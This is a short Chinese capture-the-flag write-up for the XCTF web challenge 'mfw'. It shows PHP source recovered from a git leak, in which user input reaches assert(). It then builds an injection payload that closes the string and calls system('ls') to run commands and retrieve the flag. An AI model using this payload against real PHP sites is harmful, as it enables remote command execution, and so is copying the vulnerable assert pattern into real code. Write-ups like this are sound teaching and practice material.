攻防世界_web_mfw
程序员文章站
2022-05-12 12:00:34
...
想到可能是git泄露,用hackgit扫描一下
得到源码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos通过查询‘…’ 在’$file’中第一次出现的位置来防止目录遍历
assert() 的作用是现计算表达式 expression ,如果其值为假(即为0),那么它先向 stderr 打印一条出错信息,然后通过调用 abort 来终止程序运行。
assert()函数会将读入的代码当做PHP代码来执行
-
首先对strpos函数进行闭合,构造一下,page=’)
-
可以把后面’, ‘…’) === false的给注释掉,构造page=’).system(“ls”);
-
assert("strpos(’’).system(“ls”);//…
传入?page=’.system(“ls”).’
得到flag